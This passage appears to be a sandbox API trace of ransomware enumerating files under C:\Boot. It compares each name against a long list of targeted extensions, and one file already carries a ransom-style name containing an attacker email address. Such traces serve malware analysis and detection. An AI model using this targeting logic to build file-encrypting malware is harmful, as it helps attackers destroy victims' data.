1 [0089.082] lstrlenW (lpString=".nef") returned 4 [0089.082] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0089.082] lstrlenW (lpString=".nrw") returned 4 [0089.082] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0089.082] lstrlenW (lpString=".obj") returned 4 [0089.082] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0089.082] lstrlenW (lpString=".odb") returned 4 [0089.082] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0089.082] lstrlenW (lpString=".odc") returned 4 [0089.082] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0089.082] lstrlenW (lpString=".odm") returned 4 [0089.082] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0089.083] lstrlenW (lpString=".odp") returned 4 [0089.083] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0089.083] lstrlenW (lpString=".ods") returned 4 [0089.083] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0089.083] lstrlenW (lpString=".oft") returned 4 [0089.083] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0089.083] lstrlenW (lpString=".one") returned 4 [0089.083] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0089.083] lstrlenW (lpString=".onepkg") returned 7 [0089.083] lstrcmpiW (lpString1=".onepkg", lpString2="ces.dll") returned -1 [0089.083] lstrlenW (lpString=".onetoc2") returned 8 [0089.083] lstrcmpiW (lpString1=".onetoc2", lpString2="aces.dll") returned -1 [0089.083] lstrlenW (lpString=".opt") returned 4 [0089.083] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0089.083] lstrlenW (lpString=".oqy") returned 4 [0089.083] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0089.083] lstrlenW (lpString=".orf") returned 4 [0089.083] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0089.083] lstrlenW (lpString=".p12") returned 4 [0089.083] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0089.083] lstrlenW (lpString=".p7b") returned 4 [0089.083] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0089.083] lstrlenW (lpString=".p7c") returned 4 [0089.083] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0089.083] lstrlenW (lpString=".pam") returned 4 [0089.083] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0089.084] lstrlenW (lpString=".pbm") returned 4 [0089.084] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0089.084] lstrlenW (lpString=".pct") returned 4 [0089.084] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0089.084] lstrlenW (lpString=".pcx") returned 4 [0089.084] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0089.084] lstrlenW (lpString=".pdd") returned 4 [0089.084] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0089.084] lstrlenW (lpString=".pdf") returned 4 [0089.084] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0089.084] lstrlenW (lpString=".pdp") returned 4 [0089.084] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1 [0089.084] lstrlenW (lpString=".pef") returned 4 [0089.084] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0089.084] lstrlenW (lpString=".pem") returned 4 [0089.084] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1 [0089.084] lstrlenW (lpString=".pff") returned 4 [0089.084] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0089.084] lstrlenW (lpString=".pfm") returned 4 [0089.084] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1 [0089.084] lstrlenW (lpString=".pfx") returned 4 [0089.084] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0089.351] lstrlenW (lpString=".pgm") returned 4 [0089.351] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0089.351] lstrlenW (lpString=".php") returned 4 [0089.351] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0089.351] lstrlenW (lpString=".php3") returned 5 [0089.351] lstrcmpiW (lpString1=".php3", lpString2="s.dll") returned -1 [0089.351] lstrlenW (lpString=".php4") returned 5 [0089.351] lstrcmpiW (lpString1=".php4", lpString2="s.dll") returned -1 [0089.351] lstrlenW (lpString=".php5") returned 5 [0089.351] lstrcmpiW (lpString1=".php5", lpString2="s.dll") returned -1 [0089.351] lstrlenW (lpString=".phtml") returned 6 [0089.351] lstrcmpiW (lpString1=".phtml", lpString2="es.dll") returned -1 [0089.351] lstrlenW (lpString=".pict") returned 5 [0089.351] lstrcmpiW (lpString1=".pict", lpString2="s.dll") returned -1 [0089.351] lstrlenW (lpString=".pl") returned 3 [0089.351] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0089.351] lstrlenW (lpString=".pls") returned 4 [0089.351] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0089.351] lstrlenW (lpString=".pm") returned 3 [0089.351] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0089.351] lstrlenW (lpString=".png") returned 4 [0089.352] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0089.352] lstrlenW (lpString=".pnm") returned 4 [0089.352] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0089.352] lstrlenW (lpString=".pot") returned 4 [0089.352] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1 [0089.352] lstrlenW (lpString=".potm") returned 5 [0089.352] lstrcmpiW (lpString1=".potm", lpString2="s.dll") returned -1 [0089.352] lstrlenW (lpString=".potx") returned 5 [0089.352] lstrcmpiW (lpString1=".potx", lpString2="s.dll") returned -1 [0089.352] lstrlenW (lpString=".ppa") returned 4 [0089.352] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0089.352] lstrlenW (lpString=".ppam") returned 5 [0089.352] lstrcmpiW (lpString1=".ppam", lpString2="s.dll") returned -1 [0089.352] lstrlenW (lpString=".ppm") returned 4 [0089.352] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0089.352] lstrlenW (lpString=".pps") returned 4 [0089.352] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1 [0089.352] lstrlenW (lpString=".ppsm") returned 5 [0089.352] lstrcmpiW (lpString1=".ppsm", lpString2="s.dll") returned -1 [0089.352] lstrlenW (lpString=".ppt") returned 4 [0089.352] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0089.352] lstrlenW (lpString=".pptm") returned 5 [0089.352] lstrcmpiW (lpString1=".pptm", lpString2="s.dll") returned -1 [0089.352] lstrlenW (lpString=".pptx") returned 5 [0089.352] lstrcmpiW (lpString1=".pptx", lpString2="s.dll") returned -1 [0089.352] lstrlenW (lpString=".prn") returned 4 [0089.353] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1 [0089.353] lstrlenW (lpString=".ps") returned 3 [0089.353] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1 [0089.353] lstrlenW (lpString=".psb") returned 4 [0089.353] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1 [0089.353] lstrlenW (lpString=".psd") returned 4 [0089.353] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1 [0089.353] lstrlenW (lpString=".pst") returned 4 [0089.353] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1 [0089.353] lstrlenW (lpString=".ptx") returned 4 [0089.353] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1 [0089.353] lstrlenW (lpString=".pub") returned 4 [0089.353] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1 [0089.353] lstrlenW (lpString=".pwm") returned 4 [0089.353] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1 [0089.353] lstrlenW (lpString=".pxr") returned 4 [0089.353] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1 [0089.353] lstrlenW (lpString=".py") returned 3 [0089.353] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1 [0089.353] lstrlenW (lpString=".qt") returned 3 [0089.353] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1 [0089.353] lstrlenW (lpString=".r3d") returned 4 [0089.353] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1 [0089.353] lstrlenW (lpString=".raf") returned 4 [0089.353] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1 [0089.354] lstrlenW (lpString=".rar") returned 4 [0089.354] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0089.354] lstrlenW (lpString=".raw") returned 4 [0089.354] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1 [0089.354] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc7d2df57, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7d2df57, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7d52706, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x100fc, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BOOTSTAT.DAT.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="BOOTST~1.KR")) returned 1 [0089.354] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0089.354] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0089.355] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4273e70 [0089.355] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42604d0 [0089.356] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.356] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0089.356] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0089.356] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0089.356] FindClose (in: hFindFile=0x42604d0 | out: hFindFile=0x42604d0) returned 1 [0089.356] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0089.356] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1 [0089.356] lstrlenW (lpString="C:\\Boot\\da-DK") returned 13 [0089.356] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Boot\\da-DK") returned 1 [0089.356] lstrlenW (lpString="da-DK") returned 5 [0089.357] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="da-DK") returned -1 [0089.357] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4273e70 [0089.357] lstrlenW (lpString="C:\\Boot\\da-DK") returned 13 [0089.357] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260650 [0089.357] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.357] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0089.357] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0089.357] lstrlenW (lpString=".1cd") returned 4 [0089.357] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0089.357] lstrlenW (lpString=".3ds") returned 4 [0089.357] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0089.357] lstrlenW (lpString=".3fr") returned 4 [0089.357] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0089.357] lstrlenW (lpString=".3g2") returned 4 [0089.357] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0089.357] lstrlenW (lpString=".3gp") returned 4 [0089.357] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0089.357] lstrlenW (lpString=".7z") returned 3 [0089.357] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0089.358] lstrlenW (lpString=".accda") returned 6 [0089.358] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0089.358] lstrlenW (lpString=".accdb") returned 6 [0089.358] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0089.358] lstrlenW (lpString=".accdc") returned 6 [0089.358] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0089.358] lstrlenW (lpString=".accde") returned 6 [0089.358] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0089.358] lstrlenW (lpString=".accdt") returned 6 [0089.358] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0089.358] lstrlenW (lpString=".accdw") returned 6 [0089.358] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0089.358] lstrlenW (lpString=".adb") returned 4 [0089.358] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0089.358] lstrlenW (lpString=".adp") returned 4 [0089.358] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0089.358] lstrlenW (lpString=".ai") returned 3 [0089.358] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0089.358] lstrlenW (lpString=".ai3") returned 4 [0089.358] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0089.358] lstrlenW (lpString=".ai4") returned 4 [0089.358] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0089.358] lstrlenW (lpString=".ai5") returned 4 [0089.358] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0089.358] lstrlenW (lpString=".ai6") returned 4 [0089.358] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0089.358] lstrlenW (lpString=".ai7") returned 4 [0089.359] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0089.359] lstrlenW (lpString=".ai8") returned 4 [0089.359] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0089.359] lstrlenW (lpString=".anim") returned 5 [0089.359] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0089.359] lstrlenW (lpString=".arw") returned 4 [0089.359] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0089.359] lstrlenW (lpString=".as") returned 3 [0089.359] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0089.359] lstrlenW (lpString=".asa") returned 4 [0089.359] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0089.359] lstrlenW (lpString=".asc") returned 4 [0089.359] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0089.359] lstrlenW (lpString=".ascx") returned 5 [0089.359] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0089.359] lstrlenW (lpString=".asm") returned 4 [0089.359] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0089.359] lstrlenW (lpString=".asmx") returned 5 [0089.359] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0089.359] lstrlenW (lpString=".asp") returned 4 [0089.359] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0089.359] lstrlenW (lpString=".aspx") returned 5 [0089.359] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0089.359] lstrlenW (lpString=".asr") returned 4 [0089.359] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0089.359] lstrlenW (lpString=".asx") returned 4 [0089.360] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0089.360] lstrlenW (lpString=".avi") returned 4 [0089.360] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0089.360] lstrlenW (lpString=".avs") returned 4 [0089.360] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0089.360] lstrlenW (lpString=".backup") returned 7 [0089.360] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0089.360] lstrlenW (lpString=".bak") returned 4 [0089.360] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0089.360] lstrlenW (lpString=".bay") returned 4 [0089.360] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0089.360] lstrlenW (lpString=".bd") returned 3 [0089.360] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0089.360] lstrlenW (lpString=".bin") returned 4 [0089.360] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0089.360] lstrlenW (lpString=".bmp") returned 4 [0089.360] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0089.360] lstrlenW (lpString=".bz2") returned 4 [0089.360] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0089.360] lstrlenW (lpString=".c") returned 2 [0089.360] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0089.360] lstrlenW (lpString=".cdr") returned 4 [0089.360] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0089.360] lstrlenW (lpString=".cer") returned 4 [0089.360] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0089.361] lstrlenW (lpString=".cf") returned 3 [0089.361] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0089.361] lstrlenW (lpString=".cfc") returned 4 [0089.361] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0089.361] lstrlenW (lpString=".cfm") returned 4 [0089.361] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0089.361] lstrlenW (lpString=".cfml") returned 5 [0089.361] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0089.361] lstrlenW (lpString=".cfu") returned 4 [0089.361] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0089.361] lstrlenW (lpString=".chm") returned 4 [0089.361] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0089.361] lstrlenW (lpString=".cin") returned 4 [0089.361] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0089.361] lstrlenW (lpString=".class") returned 6 [0089.361] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0089.361] lstrlenW (lpString=".clx") returned 4 [0089.361] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0089.361] lstrlenW (lpString=".config") returned 7 [0089.361] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0089.361] lstrlenW (lpString=".cpp") returned 4 [0089.361] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0089.361] lstrlenW (lpString=".cr2") returned 4 [0089.361] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0089.362] lstrlenW (lpString=".crt") returned 4 [0089.362] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0089.362] lstrlenW (lpString=".crw") returned 4 [0089.362] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0089.362] lstrlenW (lpString=".cs") returned 3 [0089.362] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0089.362] lstrlenW (lpString=".css") returned 4 [0089.362] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0089.362] lstrlenW (lpString=".csv") returned 4 [0089.362] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0089.362] lstrlenW (lpString=".cub") returned 4 [0089.362] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0089.362] lstrlenW (lpString=".dae") returned 4 [0089.362] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0089.362] lstrlenW (lpString=".dat") returned 4 [0089.362] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0089.362] lstrlenW (lpString=".db") returned 3 [0089.362] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0089.362] lstrlenW (lpString=".dbf") returned 4 [0089.363] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0089.363] lstrlenW (lpString=".dbx") returned 4 [0089.363] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0089.363] lstrlenW (lpString=".dc3") returned 4 [0089.363] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0089.363] lstrlenW (lpString=".dcm") returned 4 [0089.363] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0089.363] lstrlenW (lpString=".dcr") returned 4 [0089.363] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0089.363] lstrlenW (lpString=".der") returned 4 [0089.363] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0089.363] lstrlenW (lpString=".dib") returned 4 [0089.363] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0089.363] lstrlenW (lpString=".dic") returned 4 [0089.363] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0089.363] lstrlenW (lpString=".dif") returned 4 [0089.363] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0089.363] lstrlenW (lpString=".divx") returned 5 [0089.363] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0089.363] lstrlenW (lpString=".djvu") returned 5 [0089.363] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0089.364] lstrlenW (lpString=".dng") returned 4 [0089.364] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0089.364] lstrlenW (lpString=".doc") returned 4 [0089.364] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0089.364] lstrlenW (lpString=".docm") returned 5 [0089.364] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0089.364] lstrlenW (lpString=".docx") returned 5 [0089.364] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0089.364] lstrlenW (lpString=".dot") returned 4 [0089.364] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0089.364] lstrlenW (lpString=".dotm") returned 5 [0089.364] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0089.364] lstrlenW (lpString=".dotx") returned 5 [0089.364] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0089.364] lstrlenW (lpString=".dpx") returned 4 [0089.364] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0089.364] lstrlenW (lpString=".dqy") returned 4 [0089.364] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0089.364] lstrlenW (lpString=".dsn") returned 4 [0089.364] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0089.364] lstrlenW (lpString=".dt") returned 3 [0089.364] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0089.364] lstrlenW (lpString=".dtd") returned 4 [0089.364] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0089.364] lstrlenW (lpString=".dwg") returned 4 [0089.364] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0089.365] lstrlenW (lpString=".dwt") returned 4 [0089.365] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0089.365] lstrlenW (lpString=".dx") returned 3 [0089.365] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0089.365] lstrlenW (lpString=".dxf") returned 4 [0089.365] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0089.365] lstrlenW (lpString=".edml") returned 5 [0089.365] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0089.365] lstrlenW (lpString=".efd") returned 4 [0089.365] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0089.365] lstrlenW (lpString=".elf") returned 4 [0089.365] lstrcmpiW (lpString1=".elf", 